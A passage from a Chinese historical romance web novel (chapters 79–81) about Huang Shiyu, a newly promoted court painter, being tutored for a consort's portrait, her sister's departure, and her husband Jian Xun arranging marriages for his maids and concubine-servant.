可他到底还是心软了,将满脸泪痕的她翻过来,紧紧拥抱,一下一下亲着她的额头,湿漉漉的眉眼,冰凉的鼻尖,冰凉的樱唇。 “好了,没事了,睡吧。”他的声音没有一丝起伏。 黄时雨警惕地盯了他片刻,发现他果真不折腾自己了,这是他第一次半途而废,不欺负她。 她抽泣了一声惶惶然睡去。 第79章 香甜 其实黄时雨睡相难以恭维。 起初她心存提防,尚算收敛,如今在简珣怀里睡得多了渐渐本相毕露,总喜欢把腿搭在他腰侧…… 该搭的时候不搭,偏睡着时胡作非为。 这也是简珣总喜欢搂紧了她的一个原因,防她胡乱伸腿踢到不该踢的。 不过这个姿势委实害得人意飞魄荡。 过两天哄着她试试。 梅娘长得好看,熟睡的睫毛动也不动,小小的嘴巴却微微开启,简珣低头噙住。 香。 可她却像只睡不饱的懒猫儿,皱眉咂咂嘴,摇了摇头继续酣睡。 简珣心里痒痒的,却竭力捺下满腹狂潮,归于平静。 这个年纪的小郎君,一日两次都不嫌多,而他,饥五顿饱一顿的,便是饱最多也只是个半饱。 为何梅娘对夫妻之事就不似他般热衷呢? 是不是那个男人表现的太好,而自己粗鲁笨拙,被完全的比了下去……简珣幽幽望着怀中的黄时雨。 在这种事上被比下去,几乎要毁了简珣作为男人的自信。 他有些懊恼未曾提前与通房过招,练就一身本领在梅娘跟前逞威风,如今再练已经迟了,也不敢练。 正六品的官阶,岂不是比简珣还要大半级,相当于一个泽禾县令。 直到次日上衙的路上,黄时雨还摸着自己的青色官袍如梦似幻。 她问简珣:“我现在算是上官吧,比你大……” 简珣端坐如松,深邃目光迎着她,“是,黄大人。” 一句话就能哄得黄时雨乐不思蜀。 暂时遗忘了清晨问安时婆母沉重微凉的神情,那样的神情使她心底暗暗惊跳,欲言又止。 黄时雨重新振作精神,马车甫一停稳,就搭着简珣的手下了车。 周围偶有惊艳目光。 不过如此明晃晃同乘,又明晃晃搭手,不难猜出是夫妻。 皇城倒也有几对夫妻就伴当值,只不过没有简翰林这般殷切的。 大摇大摆送去含光门,再返回安上门。 新婚夫妇,真是一刻也离不得身。 年纪再大些便会消停。 却说这新官上任的黄时雨,无师自通行事低调,外面不比自己家,从踏进画署她就捺下了兴奋的尾巴,仔细抑制。 一路上难免遇到画员,皆对她揖礼,她颔首以待。 从正六品的诏侍开始,拥有独立的屋子,其实还是与袁艺学在同一个廨所,但黄时雨搬进了一间仅允许她当差的抱厦。 此处原本充作书房,自去年人员变多就改成了诏侍的值房。 新任的黄诏侍年纪不大,为人却温和有礼,对待女工和粗使婆子一如从前,不见半分颐指气使。 婆子们暗地里夸不愧是大户人家的少奶奶,有涵养。 作为诏侍,除却督导藏画楼录书的编纂与存科,还要参与重大活动的描绘记载,包括但不仅限于皇帝与贵族的肖像以及生活。 尤其肖像这部分相当重要,不止宫里地位高的贵人,还有皇室宗亲乃至皇帝宠信的勋贵,每年都有特定的画署官员为他们作一副生辰肖像。 所谓生辰肖像并不是在贵人生辰时画师跑过去现场描绘,而是提前画好。 生活方面的话,皇帝曾一时兴起,对江南风貌产生了极大的兴趣,画署出动四十余人下江南,足足绘制了一年,才有现今的无价之宝《江南四时》。 画师们的总花费远远小于帝王亲自下一趟江南,可谓利国利民之举。 黄时雨有着毋庸置疑的绘画能力,但在画署算不得最突出的,比她厉害的大有人在,不过她的能力足以参与皇室的活动。 今年静贵妃的生辰肖像点了黄诏侍,这是一桩巧宗儿,全因闻大人腾不出空闲,倒不是闻大人拿乔,而是她有更重要的人伺候——陆太后。 借静贵妃一百个胆子也不敢与陆太后抢画师,非但抢不得还得好声好气叮嘱闻大人仔细地侍奉,侍奉好了有赏。 且说这静贵妃素来不太喜欢男画师,活了三十余年的骄傲贵妃,哪能忍受普通卑微男子的打量,可又使唤不动小闻大人。 贴身宫婢眼珠子一转,想起个当下最合适的人选,她向娘娘推荐了黄时雨。 长相举止绝佳,画艺精湛且还是大户人家的少奶奶,断不会污了贵妃娘娘的眼睛。 画署能当得起如此重任的还真就是黄时雨最合适。 也就静贵妃挑剔,换旁的妃嫔,多半选年纪大技艺精湛的男画师。 所以这是一桩巧宗儿。 静贵妃听了宫人的推荐,凝神思考。 此时殿内有一名华贵的少女始终伴在静贵妃身畔,不是旁人,恰是静贵妃所出的懿阳公主。 “黄时雨”三个字十分耳熟,这不是简翰林的内人么。 懿阳想起了什么,神情倏然冷了下去。 “母妃,儿臣也好奇女画魁,想必如当年的闻大人一般令人耳目一新,不若就试试吧。”懿阳道。 不试试也没有更好的人选,实在不行再考虑其他女官。静贵妃并未考虑太久,点头应下了。 刚上任就要负责静贵妃肖像,黄时雨有惊却无慌,在画道上,她的胆子比寻常人大许多。 可她的能力也关乎着画署的能力,闻大人不太放心,倒不是她不信任黄时雨,而是新人乍一接触贵人都会手足无措,十成功力可能就只剩七成。 况且贵人难伺候,不可能老老实实坐在那里任由画师发挥,好一些的坐一会歇一会再坐一会,像静贵妃这样的,最多坐一刻,然后就没有然后了。 侍奉贵人的画师不仅要技艺还得记性好,需将贵人大致模样仔细记在脑海和纸上,回去再通过丰富的想象力画出一张肖似贵人又比本人更好看的。 此中难度可想而知。 然而宫里哪个都不好伺候。 还轮不到画师挑三拣四。 黄时雨早晚都得面对不同性格不同处事方式的,目下不过一个静贵妃,将来还有娴贵妃,乃至更高贵的皇后皇太后。 领到差事,黄时雨先面朝宫城方向谢恩,又谢了前来传旨的内侍,最后再去闻大人跟前禀职。 闻大人意味深长道:“这是个极好的锻炼机会,只要你谨守规矩,本分办差,将来可能无赏但也不会有罚。不过你最好打起十二分精力应对,毕竟能在贵人跟前露脸的差事便是男画师也难得,做为女官就更难了,若不趁机留个好印象,将来你一定会后悔的。” 意味着正六品将是黄时雨仕途的尽头。 不管皇帝有多重视画署,甚至允许女子充任官职,女官们也不得不认清一个现实——女子就是比男子更难出头,简直难如登天。 闻道芝道:“我同你说这么多,就是想你明白此番可遇不可求。” 黄时雨目含感激,恭恭敬敬揖了一礼,“大人的一番苦心卑职明白了,卑职定会肝脑涂地,只求不负大人期望,也不辱没了画署女画师的名头。” 闻大人颔首。 四初六进宫,今儿才三月廿八,中间这几日闻大人将黄时雨带在身边,潜心指导。 初一旬会结束闻大人奉召入宫,黄时雨就成了没有着落的“野孩子”,只能回藏画楼独自研习并临摹贵妃娘娘往年的肖像。 按说贵人的肖像不得随意取用,也就闻大人独独给了她这份特权,主要她身在画楼,相对方便,换做旁人,特权也不管用。藏画楼的画如无传召,不得离楼。 因为是贵妃娘娘的肖像,装裱格外精致华贵,据说是闻大人亲手裱褙的,闻家各个都是裱画高手。 黄时雨将画像恭肃地挂在酸枝木屏风中央,自己立在正对面的画案前,端详良久。 袁艺学立在门外回话:“诏侍,小闻大人来了。” 黄时雨一怔,连忙扫了扫衣袖戴上乌纱帽,举步迎上一身玄色锦衣,镶玉蹀躞带的闻遇。 他穿的是骁影卫统领的官服,正三品,区别于文职的绯色,而是武将的玄色,却又不似金吾卫大将军那般魁梧,更像一名个子高的儒雅文官,只是看起来比普通文官来得挺拔结实些许。 在黄时雨眼里,属于简珣那类的,确切的说是像再长大一些,青年时期的简珣。 这姑娘对简珣有着天然的亲近,爱屋及乌想当然认为跟简珣差不多的再坏也坏不到哪里。 不过闻遇的眼神相当犀利,令人望之却步。 而简珣却是宠溺的,狡黠的。 就在一个时辰前,闻道芝纠结百转,拿不定主意。 黄诏侍进宫在即,一日也不可荒废,今儿自己不得空,那把她交给谁合适呢? 张大人画艺精湛,可望着黄时雨时眼底全然男人本色。 而闻遇的眼里,就没有欲念。 综合来看,还是闻遇最可靠。 于是,她把闻遇叫来约法两章:不许单独接触黄时雨,更不允许把人带回画阁。 聪明的闻大人命小闻大人纡尊降贵一次,亲自去藏画楼,就在诏侍的廨所传道授业。 满以为闻遇会很高兴,未料他先思忖了片刻,才肃然道:“只有半天。” 闻道芝扬眉诧异。 闻遇解释道:“我有自己的事要忙,您又不放心她在我身边。” 闻道芝忽然觉得自己一直以来极为龌龊,想左了宝贝大侄儿,他这样一个不近人情的狗男人,不厌弃画署女官已经算客气,又怎会像只巴巴儿狗。 旁人跪求都求不来的机遇,自己却强迫他教授一个非亲非故之人,哪怕是临时应急,也十分失礼。 这些年把他使唤惯了,竟忘记他才是上官。 闻大人暗自愧疚,莞尔一笑:“好,半天就半天。难为你了阿遇,我只是想画署拿得出手的女官再多一点点。” 照目前形势,不出十年,怕是再也无新晋女画员。 闻遇道:“姑母放心,我既应允绝不会敷衍了事。” 闻道芝伸手拍了拍他结实的手臂。 用袁艺学的话来说:黄诏侍又捡到一个巧宗儿。 前有静贵妃,后有小闻大人。 命好的属实过分。 黄时雨偷偷抹了把汗,自从挨了德妃一杧果,运气急速飙升,好到她都怀疑是不是在做梦。 她紧张道:“大人,卑职愚笨,可能会闹笑话令您烦躁,但卑职很听话,也有的是……有的是力气。” 闻遇漠然道:“学工笔画倒也不用太大的力气。” “是,大人。”黄时雨屏息回。 能得小闻大人亲自点拨,这辈子或许仅此一遭,过了这个村没了那个店,就连袁艺学也安安静静坐在门口附近“偷听”。 黄时雨全神贯注,所有心思全汇集一处。 每一个问题都问的小心翼翼,闻遇让她往东她绝不敢往西。 像她这样的人,想要活得容易些除了靠运气也靠死死抓住运气。 黄时雨的画样样都好,只少了些许老练,因为她才入画道勉强两年,如此水平已是前无古人。 有时不得不承认肃王的眼光。 她确实是块璞玉。 纵然没有精心呵护的师父,全心支持的家人,紧靠自己雕琢,已经绽放光芒。 倘若当初收她为徒也挺好的,但闻遇不后悔自己的选择,只是有一些说不清道不明的遗憾。 闻遇俯身打量画了一半的黄时雨,低低道:“这笔法……” 黄时雨顿了顿,坦然回:“是陆宴教的,他是我的恩师。在廨所相处的那几次,他教了我许多,并未行任何不轨之事。” 她没法阻止旁人臆测她与肃王之间见不得光的事。 却也不能让臆测完全掩盖了最单纯的画道。 这一笔惊艳夺目,是肃王教的。 闻遇垂眸,平静的表情看不出一丝波澜。 再撩眼凝视她,他唇角勾了勾,“嗯,你没有说谎,肃王也没有说谎。” 黄时雨谨慎的眉眼倏然轻弯,对他嫣然粲笑。 晨光里,竹影簌簌,两人一个倾身一个站直了,一个垂眸,一个仰脸,相视而笑。 她的气息竟与乌云般的青丝一样馥郁,独特的香甜。 直到此时,他才惊觉,那萦绕心神,挠痒痒似的香味源自她,一呼一吸。 闻遇微怔。 第80章 心疼 闻遇的微怔落在黄时雨眼里,竟是一双天然含情目泛着幽幽疏离,没有任何波澜,冰冷地俯瞰着一只蝼蚁。 她心头打个哆嗦,料想自己大咧咧傻笑的模样相当忘形,使人费解。 小闻大人理解不了才瞪她。 黄时雨讪讪收住了上扬的嘴角,垂下无措的小脸。 若有若无的甜香热息也就没了。 闻遇心中起伏不定,清醒逐渐占据上风。 袁艺学揉了揉眼睛,以为看花了,再仔细望去小闻大人已经缓缓直起了腰。 天菩萨,小闻大人贴那么近干嘛,害她想歪了。 荒谬的念头在脑子只晃悠一圈旋即化为了云烟,袁艺学单手托腮欣赏着小闻大人迷人的背影,箭袖里的手臂应该是猿臂吧,嗯,猿臂蜂腰,腰……又细又结实,真想捏一把。 反正她也听不清两人的对话,干脆只瞅人。 黄时雨无意中瞥了一眼袁艺学,大为纳罕,在小闻大人的学堂两眼发直简直是暴殄天物! 她倒恨不能一寸光阴掰成两寸用,半点心神不敢走。 但越在意的往往越容易流逝。 黄时雨瞅了瞅日影儿,又瞧一瞧外面的漏刻,午膳时辰临近,代表该向小闻大人辞别了。 怎么也得辞别的体面些,于是她敛神扫一扫衣袖,主动对闻遇长长揖了一礼道:“午时临近,卑职不敢耽搁大人用膳,今日解惑卑职受益良多,铭感五内,此后定会勤加苦练,以期报效朝廷。” 结束了吗? 闻遇立在原地不知在想什么,复又抬眸定着她,“好。” 那厢袁大人连忙站起身。 这么快就要走了么,还没看够。 两名受他恩惠的女子一齐殷殷望着他,迫不及待他快些离开似的。闻遇蜷了蜷手指,迈出两步,忽然偏头看向黄时雨,“你很饿吗?” 这么着急。 黄时雨迟疑了一下,“我不饿……” 腹中不合时宜地唱了一腔“空城计”,比“不饿”更响亮,她的粉靥登时火烧似的蹿红。 闻遇眉峰微扬。 小姑娘还在长身体的年纪,饿得快,是他粗心了。 黄时雨尴尬地捂住肚子,眼睁睁瞧着小闻大人唇角上扬,“走吧,我带你们去吃些好的。” 袁艺学喜上眉梢,一把拽住愣神的黄时雨朝着小闻大人的方向追去。 她们哪里追得上小闻大人的长腿,二人轻提袍裾又不敢迈太大的步子,一路气喘吁吁勉强跟住。 因为闻大人不在,小闻大人做主将她的份例赏给了黄诏侍与袁艺学。 公厨的掌事无不应承,为两个小女子端上一桌好吃的。 男女不同席,安排好两名小女子,闻遇默然离开。 下午,他得面对自己的弟子。 陆召琰在画阁等待半晌,也不知师父去了哪里,他又不敢问,只好煮上一壶春明梨花,安静等待。 得师如此别无所求。 其实这份天大的恩遇是不期然降临的。 按理应当属于画魁,而他差以毫厘失之千里,原也不抱希望,却不料师父最终敲定了他。 家世算不上最突出,为人也不够圆融,入画道堪堪不过九年,这样的他偏偏夺得小闻大人青眼。 所以,那位画魁女画员,究竟多糟糕,纵然高中也被无情放弃。 陆召琰在心里想,她或许恨死我了。 黄时雨美美用了一顿午膳,对于闻遇与陆召琰压根就没有过太复杂的想法,也就当时遗憾无奈了一下,但她失去过太多,无奈的更多,十七年来唯有一根筋走画道,其他万般不由己,早已成习惯,再添一桩也不痛不痒。 这个姑娘总是快乐又洒脱,极难记恨一个人,这样的人往往都有个相同的缺点,更难爱上一个人。 怖与恨,那是有爱才会生的情感。 黄时雨目下想的最多的唯有两件事:一是圆满完成静贵妃的肖像画,不让闻大人失望;二是顺利通过画艺考核,不让肃王太丢脸。 因为初二旬假,初一这日下衙黄时雨专门去了趟保宁坊,姐妹二人几日不见更为热络。 黄莺枝这阵子赚了一笔不大不小的银子,生活充满盼头,说什么也不肯再要妹妹的贴补。 “傻丫头,我们是亲姐妹,姐妹之间无需客气。姐姐初来京师,多么落魄,用你的银子何曾眨过眼,如今足以养活自己,就不需要再浪费你的,你且攒好。” 这便是姐姐的性格。 分外飒爽,从不扭捏,她说不需要就是真的不需要。 黄时雨听话的收起银票,心里却在想,不如去金诚坊买个更大的宅子邀姐姐住进去,就听黄莺枝道:“下个月我就要随曲大人去昙州府清宁县,那里有大康最繁荣的船港码头,来回加起来也就五十余日的路程而已,等我安定好咱们再相聚也不迟。” 长大的人往往因为谋生不得不各奔东西。 黄家姐妹无人可依,唯有彼此,所以要比旁人更努力,不过妹妹现在有简允璋,自己又做了大官,黄莺枝终于可以心无旁骛去追寻自己的日子。 黄时雨一句话也不说,只闷头抱紧了姐姐。 舍不得姐姐,以后还会特别思念,也会难过到哭泣,可是她清楚姐姐是自由的,像她追逐画道一样追逐自己的价值。 所以她抹了把眼泪,开心笑道:“嗯!我等着姐姐,别忘了写信。” “好!”黄莺枝捏了捏妹妹的小脸。 已婚女子没有婆母准许不被允许留宿在外面,黄莺枝看了看暮色,连饭也不便留妹妹,好说歹说哄着她登上马车。 姐妹二人用力挥挥手。 黄时雨泪流满面,黄莺枝温柔笑着。 等她们都有了足够立世的资本,再永远不分离。 黄时雨捺下沉浮不定的心绪,在晚膳前赶回了府中。 自从开始调理身体,她每日都要吃一碗付妈妈煮的药膳,比设想的好吃些,而这也不是娇生惯养的姑娘,几乎不费什么力气就接受了。 程氏长舒一口气。 付妈妈不仅擅长烹饪药膳还精通按摩,每日晚膳后一炷香,黄时雨就要在仆婢的侍奉下沐浴更衣,再躺在榻上由付妈妈按摩半炷香。 不愧是精通于此的行家,力度的拿捏相当准确,整个调理过程不算难捱,况且对身体真有好处,黄时雨全无排斥,认真配合着。 如此温顺的性格,确实是个惹人怜爱的好孩子。程氏时常叹息。 其实梅娘的情况有些严重,注定未来子嗣不丰,付妈妈已经使出浑身解数,将来生养一两个孩儿不成问题,可万一是两个女孩儿呢? 即便是男孩儿也极为单薄。 谁又能保证全部平安长大。 难道偌大的家业就此拱手让人? 程氏不甘心,也无颜面对地下的夫君和祖宗。 然想得再多也只能埋在心底,阿珣正处于最新鲜最甜蜜的时刻,听不进任何劝慰的话语,反倒容易滋生隔阂。 那就再等等吧,等新鲜劲过去,等梅娘更懂事。 寝卧内付妈妈将将结束了今日的调理,叮嘱道:“少奶奶,老奴缝的暖宫带子最宜月事期间使用,您只需躺下休息时围在腹部,可免疼痛困扰,长期坚持对身体大有益处。” “妈妈有心了。”黄时雨穿上琥珀拿来的外衫,另一个丫鬟见状连忙上前帮着整理她的衣裙。 付妈妈含笑道:“这都是老奴的分内之事,能襄助少奶奶绵延子嗣是老奴的大功德大福分。” “敢问妈妈,我这副身子今年还有希望怀上吗?”黄时雨问。 “儿女缘本就有一定的巧合,常人都无法百分百确认的,何况少奶奶略微单薄些许的身子。” 付妈妈福了福身,“请少奶奶安心,老奴保证助您两年内怀上。” 也就是情况没那么坏。 但也没多好。 黄时雨心中了然,点了点头,“好,我相信妈妈,妈妈的功劳我都记在心里。” 幼年匮乏的人容易走向两个极端:一种无端厌恶孩童,同时情感也异常凉薄;另一种完全相反,热切盼望有一个小小的自己,精心呵养。与其说养孩子,不若说当成年幼的自己重新养一遍,弥补诸多遗憾。 黄时雨是后者。 如今有家还有俸禄,衣食无忧,心底的渴望就被放大了。 整理好情绪,她才前往书房。 姐姐要去昙州府清宁县,来回五十余日的路程,是一种从未想象过的遥远,说不担心是假的,她已经盘算好送姐姐一个会拳脚的仆婢,就像宝络那样。不过宝络是阿珣放在她身边的“耳目”,且她也没有身契,做不得决定。 所以得同他好好商量商量。 一路不停盘算着,眨眼来到书房。 素秋眼尖,老远瞧见少奶奶,立刻迎上去殷勤打帘子,脆声道:“少奶奶来了。” 满屋子的人皆看向门口。 黄时雨青丝半挽,双眸明亮,宛若横波秋水。 蕊珠下意识慌乱,忙不迭对着黄时雨福身,口中念着:“少奶奶,奴婢给您请安。” 福生福喜不是生人,与黄时雨素来热络,从容揖个礼。 黄时雨含笑点点头,屋里好热闹。 简珣神情微微凝滞,不过反应极快,若无其事上前拉起黄时雨的素手,边走边道:“来的正巧,那就让蕊珠一齐量了吧。” 原来立夏临近,蕊珠心存孝心,想着不能只给少爷做衣裳,也得给少奶奶做件软缎香纱的褙子。再想到前几日白露吐槽少爷长得快,蕊珠缝的里裤还得再长小半寸才更合适。 却说蕊珠这边,恰巧许久未曾量过少爷,便择日不如撞日,趁着他有空来了梅斋书房。 可惜少奶奶不在,没法一同量了。 少爷说少奶奶还在调理,不急一时。 没想到少奶奶这么巧就赶来了。 黄时雨见过蕊珠两次,离这么近还是第一回,心道阿珣的命真忒好了些,一个赛一个的漂亮。 这么漂亮又老实的美人儿,微微红着脸请求为她量身裁衣,她自然也不能下人家脸面,便笑道:“我不急,你先侍奉少爷,完了再量我。” 蕊珠福了福身,“是,少奶奶。” 素秋撩起帘子端着茶盘走进来,笑道:“请少奶奶品一品今年的春明梨花,味甘凝神,喝再多也不走困。少爷吩咐了,以后晚上就给您烹它。” 茶未近,一股裹着甜梨的香气扑面而来,黄时雨深深嗅了一口,“好香,阿珣,你从哪里弄到的?” 简珣正在走神,听见梅娘的声音,竟有些结巴,“我,我,是南边送来的方物,新培育的,十分稀奇,你一定会很喜欢。” 他缓缓看向她。 黄时雨坐在圈椅上,轻抿一口,眉目动人,抬眸望向他,嫣然笑道:“我很喜欢,真的有一股甜甜的梨香。” 简珣干笑道:“你喜欢就好。” 蕊珠倾身环住他的腰报数,福喜则认真记在纸上,简珣大惊失色,余光不停觑向黄时雨。 他的妻子坐在圈椅吃着茶与丫鬟小声闲聊,而他手足无措站在那里,任由通房量身,明明什么也没做,也没做错什么,却感到了无端局促。 他在局促中心乱如麻,不敢多看蕊珠一眼,而梅娘温柔的眉眼一如泛不起涟漪的清泉,从容涓流。 她是梅娘,从未变过。 这本就是一场只有他忙忙碌碌的结合。 如同煎熬了百年,量身终于结束。 蕊珠红着脸道:“少爷的身量变化真快。” 他淡淡嗯了声。 轮到黄时雨了,虽说她平时不讲究,可每每来人为她裁衣,她还是很享受的,心底跃跃欲试。 世上哪有不爱俏的姑娘,但凡有些闲暇黄时雨也钟爱挑拣衣裙,只不过她闲暇的日子极少而已。 头一回接近少奶奶,蕊珠的心里七上八下的,唯恐服侍不周到惹少奶奶记恨。 同为女子,她这般身份委实敏感,也没想过得到正室怜惜,只求正室把她当个可有可无的物件,忘却或者懒得收拾。 蕊珠的心思全在少爷身上,不敢奢望多少怜爱,每个月记得看她两眼已然足够。 无奈少爷惧内,在少奶奶跟前连笑也不敢对她笑。 她惶然抬手,轻轻量起少奶奶的尺寸。 纤细玲珑,不怪少爷丢了魂。 其实程氏早有意将蕊珠抬妾,简珣也未明确反对,但成亲以后他的性情突变,丢了魂一样,程氏就再也不提抬妾之事。 对此,众人不约而同沉默。 黄时雨是那种毫无攻击性的美人儿,待人一向温和充满善意,万没想到蕊珠如此怕她。 琥珀抬眸轻笑:“蕊珠姑娘别紧张,我们少奶奶最是亲和人的,你怎么服侍少爷就怎么服侍少奶奶,衣裳做得好赏赐一定不比少爷的少。” 蕊珠心口咯噔一声,寻回神志认真量身。 黄时雨心里也咯噔一声,她又没想与阿珣争长短,琥珀怎么放出“赏赐不比少爷少”的话,凭她那仨瓜俩枣怎配与阿珣比! 简珣从黄时雨的脸上清楚地看见了心疼。 心疼银子。 但不会在意他。【你现在阅读的是 】 80-90 第81章 许配 蕊珠做完了分内之事,就再没有留在此间的借口了,她怯怯抬眸望了少爷一眼,而少爷在望着少奶奶,那一瞬,心脏狠狠痉挛了,她眼眶酸酸的,复又垂下睫毛,福了福身告退。 同时也冒出个狂妄的念头,倘若今晚少奶奶没来该多好。 安静的夜,花好月明,她与少爷近在咫尺,呼吸纠缠,那种事或许就顺其自然了,少奶奶看起来又是个好性儿的,见她可怜兴许就默认了。 从此她就是少爷有名有实的女人,安安静静服侍他一辈子。 这厢黄时雨左右讪笑了下,打破古怪的沉默,温声温气道:“阿珣,我来找你是有件事想商量,靠我自己拿不了主意。” 她非常坦然且自然地求助他,态度诚恳语气恭敬,简珣觉得自己应当开心才是,却怏怏盯着宝蓝五彩花卉的地衣发怔,良久,轻声问:“什么事?” 黄时雨便将姐姐下月离京一五一十告知,而自己为着安全考量,必须放一名可心的陪伴姐姐才放心。 聪不聪明是其次,品性才是关键。 以她的能力短期内难以寻得。 在她说话的空隙,屋里的丫鬟小厮悄无声息退个干净。 “阿珣,我从未去过那么远的地方,光是想一想心里头就发凉。”黄时雨捏着帕子,微蹙的眉心又紧了紧,“她身边就一个能使唤的丫鬟,若是像素秋白露那样我也就放心了,偏偏不是从小跟到大的,是现买的……” 简珣的目光重新凝着她,“要我帮忙找一个懂拳脚又可靠的?” 黄时雨“嗯”了声,美眸亮晶晶的。 与阿珣说话就是省心省力。 简珣思索了片刻,迎上她的视线,“那就宝络的师妹宝珠吧。原是打算留给你的,可你身边丫鬟再多一个略显拥挤,宝珠又不如她们勤敏才耽搁下来,不过应对大姐姐的处境断无问题,人品亦稳妥。” 黄时雨对简珣深信不疑,他说没问题那就一定没问题,感激道:“谢谢你阿珣,帮了我这么大的忙。” 她眼里的欢喜真真切切,简珣却移开了视线,苦笑道:“你高兴就成。” “你怎么了?”饶是慢半拍黄时雨也察觉了简珣突如其来的低落。 他不仅帮了自己天大的忙,还是自己的夫君,她再木头也不会坐视不理,反而相当关切,连忙上前摸了摸他额头,不烫,并未抱恙。 简珣却拉下她的手,放在掌中,一下一下捏着她尖尖的玉指,神情若有所思,“梅娘,你喜欢我么……” “喜欢呀。”黄时雨不假思索回。 四下就忽然凝滞了。 简珣又长又密的睫毛微颤,半掩了眸光,她看不清。 从方才就出现过这样的静默,黄时雨惴惴不安,抽回手问:“你是有什么心事吗?” 简珣却固执地拉回她的手,甚至将她抱在膝上,搂进怀中,牢牢拥着。 黄时雨心想,倘若自己争点气,长得又高又壮,这些男人便不敢把她当孩子动不动抱在膝头。 “别怕,我就抱一会儿。”简珣低低地安抚着。 他知道她不喜欢这种方式的“疼爱”,虽然那对于他而言神魂震颤,畅美不可言,可她不喜欢,会喊痛,他就再也没用过。 她不喜欢的,他会慢慢改。 黄时雨轻轻眨了眨睫毛,依言温顺地偎着他胸膛。 “梅娘。”简珣啄了啄她温热又光滑的额头,“素秋与白露今年就会许配人,不过照旧在我们的梅斋,将来还要做管事娘子,年纪上去便是管事妈妈。” 黄时雨被他亲得痒痒的,不过不难受,闻言睁开眼,“你不说我竟忘了,素秋与白露今年一个二十一个十八,确实早就到了婚配的年纪。” 简珣点了点头,轻笑,喉结也被带着微微滑动,黄时雨漫无目的盯着他喉结发呆。 “原是早该许配家里干练的小管事,可我阿娘喜欢她俩,打算留给我做通房小妾。” 黄时雨瞪大了眼,“这么多,会不会很累……”忽然意识到自己在说什么,她涨红了脸。 那种事确实很累啊,不然他为何喘息那么重,有时还隐隐地发抖,倘若每天都如此面对四个女人,岂不是吃不消。 简珣似乎没听懂,只是垂眸望着她,没有一丝儿嘲笑之意,还慎重“嗯”了一声,道:“你说的对,会很累,我不需要那么多女人,单伺候梅娘已经非常辛苦。” 顿了顿,他又轻轻道:“伺候梅娘很快乐,我,很喜欢。” 黄时雨觉得脑袋滚烫滚烫的,嘟囔道:“不,不要胡言乱语。” 依然那么害羞,即便他与她已经是世上最亲密无间的,她还是羞涩的胆怯的,敢睁大眼睛瞪着他的身体,却没有胆子看一眼他要她时的模样,她会非常害怕,总怕自己坏掉。 胆小如鼠。 简珣拥着她,爱怜地蹭了蹭她脸颊,“嗯,我不胡说。” “还有蕊珠。”这是他第一次在她面前提及这个女孩,这也是他的女人,说出来反而轻松了,“蕊珠胆量极小,心地善良,而且非常懂事,又跟了我这么些年,她除了我什么都没有,原先的家人只会将她卖掉。” 就像梅娘一样可怜。 “既然跟了我,这些年又一心一意的,不管开没开脸,我也得对她负责。以她的性格,必须配个同样温善的,她又这般年轻美貌,我不忍心将她许给年纪大的,所以我与阿娘商量过,等明年,舫西那边年轻的掌柜过来对账,就挑一个合适的娶她,你觉得怎么样?” 他不会为了讨好心爱的女人,苛待了另一个女孩。 这也是黄时雨对他最放心的一点,跟了阿珣,不论他如何生气断不会不给她活路。他是个有底线的人。 嫁给旁人,此时多半在水塘里泡着,亦或府衙大牢蹲着。 “阿珣,你是一个很善良很温柔的郎君欸。”黄时雨莞尔。 做掌柜的正头娘子可比做通房体面百倍,遇到有良心的主家,后代或许还能恢复良籍! 他对自己的女人真好,不,应说他对底层的人。 不枉蕊珠跟了他多年。 “那你喜欢这样的我吗?” 又问了一遍。 黄时雨只好又回答一遍:“喜欢,喜欢。” “骗人。” “?” 大部分时间她都挺喜欢简珣,偶尔讨厌。 不过她不擅长记仇,短暂讨厌后,转头就忘了。 简珣低头寻找她的唇,一点一点啄着,不同于以往噙住轻咬。 黄时雨忍不住笑出声,扭开脸,推他,“不要,我怕痒!” 轻了痒,重了痛,这就是个难伺候的祖宗。 “娘子,我……想要你。”简珣星眼朦胧,“今晚可不可以?” 差不多二十天了,他真的好难受,明知她可能会拒绝,还是小心翼翼问了。 黄时雨轻然嗯了一声。 唯有这么做才会有孩子的。 他立刻站起,横抱她匆匆走进暖阁。 黄时雨不安地攥紧了手心。 这次不同从前先哄她沉醉,等她足以接纳了再将她好一番折腾,而是从头至尾的温柔。 他轻轻握住她紧张的小拳头,轻啄她紧张的小嘴巴。 她被人温存呵护着,拢在怀抱里,有了依靠,那些风雨飘摇的颠簸动荡就不再狰狞可怖,两靥渐渐染上了粉色的桃花。 简珣竭力克制自己,目不转睛盯着梅娘细微的表情变化,听着一声声婉转莺啼。 与她共赴峰峦云间。 他大口大口地喘息,喃喃着“梅娘”,不愿离开。 这一晚书房仅要了一遍热水。 暖阁纱帐内,小夫妻相拥而眠。 次数多了梅娘会痛,痛了就不喜欢与他亲近。 次日旬假,素秋琥珀刻意远离暖阁,以免扰了清净。 黄时雨醒来直喊肚子痛,把简珣吓个不轻,纳闷那样温柔缓慢,为何还是伤了她。 所幸虚惊一场,她来了月事。 那么昨夜的努力岂不化为泡影。黄时雨的眼底掠过淡淡忧郁。 琥珀在纱帐外福了福身,得到应允才迈入搀扶黄时雨下床进净房收拾。 出来时已经换了洁净衣裤,还围着暖宫带,碧荷适时端来红糖水,另有一名大丫鬟提来加了草药的沐桶帮她泡足驱寒。 此番月事,竟没遭太大的罪平安度过了半天。 付妈妈功不可没。 不期然到访的月事改变了诸多计划。 简珣与黄时雨在书房度过闲暇。 要说这二人属实耐得下性子,一个钻进画里不问世事,一个沉醉古今史集流连忘返。 丫鬟们见怪不怪,颇为知情识趣,除了按时进茶和点心,半点也不靠近。 简珣放了枚银签阖上书册,梅娘仍旧摆弄着画案上粗细不一的笔管,仿佛在研究着什么。 “梅娘,大姐姐会不会因宝珠多待见我些?”他忽然问。 黄时雨诧异地看向他,想了想道:“姐姐没有不待见你,她对男子素来这般,不冷不热的,便是我阿爹也讨不着她几分笑脸的。” 姐姐饱受人间疾苦,见识过几多薄情,行事情有可原。黄时雨在心里道。 简珣张了张嘴,又咽了下去。 黄莺枝世故又桀骜,常使人琢磨不透,简珣深知这位妻姐对自己虽不至于厌恶但也绝对不喜。 对梅娘最好的人偏偏不喜他,对梅娘不好的人都很喜欢他。 曹妈妈在园子里探头探脑站了会。 柳儿与福泽临近十三岁,不似年纪小时亲密无间,可每每遇上还是能玩到一起。 此时两人就在积雪石堆砌的假山附近跳百索(注,跳绳)。 福泽眼尖当即发现了曹妈妈,便收了百索,拐一拐柳儿。 如今的柳儿营养跟得上,又不用挨打受罚,脑瓜越来越机灵,福泽拐她,她就反应过来什么事,一溜烟儿跑去茶水房,那里有琥珀姐姐、素秋姐姐、白露姐姐。 